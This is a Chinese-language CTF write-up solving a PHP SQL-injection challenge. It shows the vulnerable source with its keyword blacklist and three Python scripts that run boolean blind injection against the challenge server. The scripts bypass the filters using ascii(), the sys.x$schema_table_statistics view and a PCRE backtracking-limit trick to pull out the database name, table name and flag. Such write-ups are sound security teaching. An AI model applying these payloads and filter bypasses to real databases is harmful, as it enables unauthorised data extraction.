@Author: Patrilic
@Time: 2020-01-09 14:49:00

0x00 题目描述

ea89ccbacf44ccaeee8376d3d5bfb923

题目链接: http://45.77.240.178:8002/

0x01 Write-up

题目给出的源码只有一个index.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php 

require_once('dbconnect.php');
$flag = mysqli_query($conn,"SELECT * FROM xxxxxxxxxxxxxxxxxxx")->fetch_assoc()['yyyyyyyyyyyyyyyyyyyy']; //Sorry It's our secret, can't share
?>

<br><br><br><br><center>
Security Check!!! Please enter your ID to prove who are you !!!:
<form action="index.php" method="POST">
<input name="id" value="" /><br>
<input type="submit" value="Submit" />
</form>
</center>

<?php

if (isset($_POST['id']) && !empty($_POST['id']))
{
if (preg_match('/and|or|in|if|case|sleep|benchmark/is' , $_POST['id']))
{
die('Tet nhat ai lai hack nhau :(, very dangerous key word');
}
elseif (preg_match('/order.+?by|union.+?select/is' , $_POST['id']))
{
die('Tet nhat ai lai hack nhau :(, very dangerous statement');
}
else
{
$user = mysqli_query($conn,"SELECT * FROM users WHERE id=".$_POST['id'])->fetch_assoc()['username'];
if($user!=='admin')
{
echo 'Hello '.htmlentities($user);
if($user==='admin')
{
echo 'This can\'t be =]] Just put here for fun lul';
die($flag);
}
}
}
}
?>

一看源码就知道是道纯粹的SQL注入题目, 而且获得flag的形式应该是直接从数据库中注出来

因为过滤了sleep以及benchmark,所以应该是布尔盲注

1
select * from user where id = 1 && ord(substr(DATABASE(),1,1))=104;

但是ord的or被过滤了,这里可以使用convv(hex())或者ascii
c91fcfd31936474702b02abb961fbca8

先获取database()试试
f2f429a807a9fb530ec8f2fad4141522

判断出database长度为10
7782176063dc8cf8b343b49fb35cafd2

写个小脚本跑一下数据库名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-
# @Time : 2020-01-09 11:31
# @Author : Patrilic
# @FileName: sql_dbs.py
# @Software: PyCharm

import requests


url = "http://45.77.240.178:8002/index.php"
proxy = {"http":"127.0.0.1:8000"}


database_name = ""
for i in range(1,11):
for j in range(1,128):
payload = {
"id":"(ascii(substr(database(),{},10))={})+1".format(i, j)
}
res = requests.post(url, payload)
# print(payload)
if 'guest' in res.text:
database_name += chr(j)
print(database_name)

# owl_donkey

85c5dd1254be513f98f349eb7cd47fb8

注表名的时候又遇到了问题,information_schema和mysql.innodb_table_stats都需要使用in,这里需要拿
sys.x$schema_flattened_keys绕过

关于sys.x$schema_flattened_keys,可以看它的组成语句
https://github.com/mysql/mysql-sys/blob/master/views/i_s/x_schema_flattened_keys.sql

同样的,也可以使用 sys.x$schema_table_statistics,这个更好,因为sys.x$schema_flattened_keys是基于index的,这个的话,会把sys.x$schema_flattened_keys表中没有的也列出来

https://dev.mysql.com/doc/refman/5.7/en/sys-schema-table-statistics.html

2b07bdb34413f05f7ca6eb4b030e607d

8fb416e975b51f8df333dd0484f56f1c

6e9e8286efbf5b718063109b83239aac

9242e3a76332820539e37d6cb5ae2834

6e9e8286efbf5b718063109b83239aac

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding: utf-8 -*-
# @Time : 2020-01-09 12:23
# @Author : Patrilic
# @FileName: sql_tbs.py
# @Software: PyCharm

import requests


url = "http://45.77.240.178:8002/index.php"
proxy = {"http":"127.0.0.1:8000"}

chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()_+{}-='
table_name = ""
for i in range(1,26):
for j in chars:
payload={
'id': '2 && ascii(substr((select table_name from sys.x$schema_table_statistics where table_schema=database() limit 1,1),{},25))=ascii("{}")'.format(i, j)}
res = requests.post(url, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data=payload, proxies = proxy)
# res = requests.post(url, payload)
print(payload)
if 'guest' in res.text:
print(payload)
table_name += chr(j)
print(table_name)


#Th1z_Fack1n_Fl4444g_Tabl3

最后需要用到不用列名的注入
a76496e56389cb4c52c6398954e74c6c

但是过滤了union…select
可以通过利用pcre的正则回朔限制-> https://www.php.net/manual/en/pcre.configuration.php

a680d61975012035e830da60c6570f88

07bdea7497a2c62c8d713e3694d4d219

0e569c73134f02f2a88532cee36b032f

1
2
3
4
5
6
7
8
9
10
11
12
13
# -*- coding: utf-8 -*-
# @Time : 2020-01-09 14:16
# @Author : Patrilic
# @FileName: sql_flag.py
# @Software: PyCharm
import requests


url = "http://45.77.240.178:8002/index.php"
payload = 'union/*'+'a'*1000000+'*/select 1,(select b from (select 1 as a, 2 as b union/*'+'a'*1000000+'*/select * from Th1z_Fack1n_Fl4444g_Tabl3)c limit 1,1),3-- -'

r = requests.post(url,headers={'Content-Type':'application/x-www-form-urlencoded'},data={'id':'-2 {}'.format(payload)})
print(r.text)

299159676ac7baa72c532e811c662aa5

0x02 其他解法

如果不用管正则回朔的话,可以使用这个payload
c0f735cf4c0143d7a7f22e9e3a41c996.png
链接: https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

d8102c59d29372db6ba37a26ff4d1ed9